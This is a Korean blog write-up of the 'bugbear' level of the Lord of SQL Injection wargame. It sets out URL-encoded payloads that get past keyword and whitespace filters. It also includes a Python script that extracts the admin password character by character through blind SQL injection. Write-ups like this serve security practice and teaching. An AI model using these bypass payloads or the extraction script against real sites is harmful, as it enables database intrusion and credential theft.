도카이트

[Wargame] Lord of SQL Injection - bugbear 본문

Wargame/Lord of SQL Injection

[Wargame] Lord of SQL Injection - bugbear

dodoh4t 2022. 6. 9. 23:45
728x90
반응형

문제 화면

[LoS - bugbear]

- preg_match 함수를 통한 필터링이 더 깐깐해졌다..

- 6행을 통해 pw 값에 대한 싱글 쿼터에 대한 필터링이 이루어지고 있으며,

- 7행에서는 no 값에 대해 싱글 쿼터와, substr, ascii, =, or, and, 공백, like, 0x 에 대한 대소문자 포함 필터링이 이루어진다.

- 그럼에도 no 값에 대해서 싱글 쿼터가 감싸져있지 않으므로, bugbear 문제도 이전 darkknight 문제와 동일하게

- no 값에 쿼리문을 삽입하여 Blind SQL Injection을 시도한다 !

 

 

URL 인코딩 문자와 in 을 이용한 필터링 우회

[URL 인코딩 문자와 in 을 이용한 필터링 우회]

- 위 예제에 사용한 구문은 다음과 같다.

- pw=1&no=1%7C%7Cid%09in(”admin”)

- Tab(%09), or(%7C%7C), in (”문자열”)을 통해 공백과, or, = 에 대한 필터링을 우회하였다.

- 필터링 우회에 성공하여 Hello admin 문자열이 출력되는 모습을 확인할 수 있다.

- 이를 이용하여 추가 구문을 작성해 admin의 pw 길이 값부터 획득해보도록 한다 !

 

 

각 문자열 또는 특수문자에 대한 필터링 우회 방법의 경우 이전 LoS 풀이 포스트들에 작성된 부분들이 많다. gremlin 문제부터 차근차근 방법들이 정리되어 있으니, 참고하면 좋을 듯 하다 !!

(이번 포스팅에서는 별도 링크 첨부 X)

 

 

length(pw)를 통한 pw 길이 값 유추

[length(pw)를 통한 pw 길이 값 유추]

- 이전 문제들과 다르게 이번 예제에서는 = 대신 부등호를 사용하여 pw 길이 값을 알아냈다.

- =와 like에 대한 필터링이 존재하므로, 필터링을 하지 않는 부등호를 이용하여 pw 길이를 유추하였다.

- 위 예제에 사용한 구문은 다음과 같다.

- pw=1&no=1%7C%7Cid%09in(”admin”)%09%26%26%09length(pw)%09>[대입 숫자]%23

- 공백이 필요한 각 자리는 Tab(%09)를 사용하고, or(%7C%7C), and(%26%26)을 사용한다.

- =와 like 를 사용하지 못하므로, 부등호를 이용하여 크기 비교를 통한 pw 길이 값을 확인한다.

- length(pw) > 7 일 경우, Hello admin을 출력하며 값이 참임을 확인할 수 있지만,

- length(pw) > 8 의 경우는 Hello admin이 출력되지 않으며 값이 거짓이 됨을 확인할 수 있다.

- 따라서 자연수 값을 갖는 pw 값이 7은 초과하지만 8을 초과하지 않으므로, pw의 길이는 8임을 알 수 있다.

 

 

los_bugbear.py 작성

import requests

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
pw = ""

for i in range(1, 9):
    for j in range(33, 128):
        target_url = url+'?pw=1&no=1%7C%7C%09id%09in("admin")%09%26%26%09right(left(pw,{}),1)%09in("{}")%23'.format(i,chr(j))
        cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
        r = requests.get(url=target_url, cookies=cookies)
        
        if "Hello admin" in r.text:
            pw += chr(j)
            print(str(i)+"번째 자리 패스워드 : "+chr(j))
            break
print("패스워드 : "+pw)

- admin의 pw 길이를 알았으니, pw 값을 알아내기 위해 파이썬으로 코드를 작성한다.

- 각 필터링들을 우회하여 최종적으로 admin의 pw 값을 알아낼 수 있다.

- 코드에 입력한 no 값에 대한 구문 설명은 length(pw) 예제에서 설명했으므로 생략한다 !

- 추가적으로, substr에 대한 필터링을 우회하기 위해 right와 left 함수를 중첩하여 사용하였다.

 

 

los_bugbear.py 실행 결과 및 bugbear Clear

[los_bugbear.py 실행 결과 및 bugbear Clear]

- 8자리의 패스워드에 관한 값들을 모두 획득하였다 !

- pw 값으로 획득한 8자리 값들을 입력 시, 성공적으로 bugbear 문제를 Clear 할 수 있다 !

728x90
Comments